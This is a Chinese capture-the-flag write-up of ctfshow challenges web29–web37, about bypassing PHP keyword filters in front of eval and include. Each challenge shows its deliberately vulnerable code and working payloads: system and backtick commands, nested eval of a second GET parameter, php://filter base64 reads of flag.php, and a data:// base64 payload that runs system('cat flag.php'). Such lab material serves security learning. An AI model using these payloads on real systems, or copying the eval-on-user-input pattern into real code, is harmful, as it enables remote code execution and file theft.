ctfshow命令执行

ctfshow命令执行

题目(ctfshow)

1.web29(VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了 flag 关键字

知识点

  1. eval函数可以理解为代码执行 动态执行php代码

  2. system函数可以理解为命令执行 执行shell命令

  3. php最后一个语句可以没有分号

    1. eval(phpinfo()) 无输出结果
    2. eval(phpinfo();)有输出结果
    3. eval(phpinfo()?>) 有输出结果
  4. file _get_contents() 获取文件内容 以字符串方式返回 这道题屏蔽了flag.php所以不能使用这个

payload:

1
2
3
4
?c=phpinfo();
?c=system('ls');
?c=system('tac f*');
...

image

image

2.web30 (VIP)

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

php、flag、system 关键字都被过滤了,system 用不了了,可以考虑使用反引号 `` 执行系统命令

payload:

1
?c=`cp f* 1.txt`;

image

3.web31 (VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

flag、system、php、cat、sort、shell 、. 都被过滤了,可以使用嵌套一个eval来解决。

1
2
3
>?c=eval($_GET[123]);&123=phpinfo();
?c=eval($_GET[123]);&123=system('ls');
>?c=eval($_GET[123]);&123=system('tac flag');

image

image

4.web32 (VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

知识点: include可以读取非php文件内容输出直接输出到页面,当使用 include 包含一个非 PHP 文件时,PHP 解释器会将这个文件的内容视为纯文本,并将其直接输出到浏览器

这次发现 空格单引号反引号 还有括号都给禁用了 ,使用 include 读取文件内容输出直接输出到页面,%0A 是url编码中的 换行

过滤器获取到php文件的内容后生成了base64编码后的字符串,include包含进来无法判定是php代码,所以直接进行输出,然后进行解码即可

1
?c=include%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag

image

5.web33(VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

多加了一个双引号 ,无影响,使用 include 方法同样有效

1
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag

6.web34(VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这次新增了过滤 冒号 ,可使用 include ,也可使用 require 他和include效果一样,都是用于文件包含

1
2
?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag

image

image

7.web35.php(VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

又新增了 过滤了 <=,依旧可使用:requireinclude

1
2
?c=require%0a$_GET[123]?>&123=php://filter/convert.base64-encode/resource=flag
?c=include%0a$_GET[123]?>&123=php://filter/read=convert.base64-encode/resource=flag

8.web36.php(VIP)

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|\[1-9\]+|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了1-9

第一种方法

?c=require%0a$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag

第二种方法

data://text/plain 是一种 PHP 中的数据流协议,它允许将数据作为 URL 直接嵌入到 PHP 代码中。具体来说,这个协议用于将纯文本数据嵌入到 PHP 脚本中,而不必将其放在单独的文件中

?c=include%0a$_GET[1]?>&1=data://text/plain,

9.web37.php(VIP)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

参数 c 包含一个文件 $c的值不能是 flag

payload:

?c=data://text/plain,

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

data将数据传给变量c ,include包含后,数据流进行解密,然后执行代码

image

image

参考地址:

https://blog.csdn.net/m0_72125469/article/details/142095571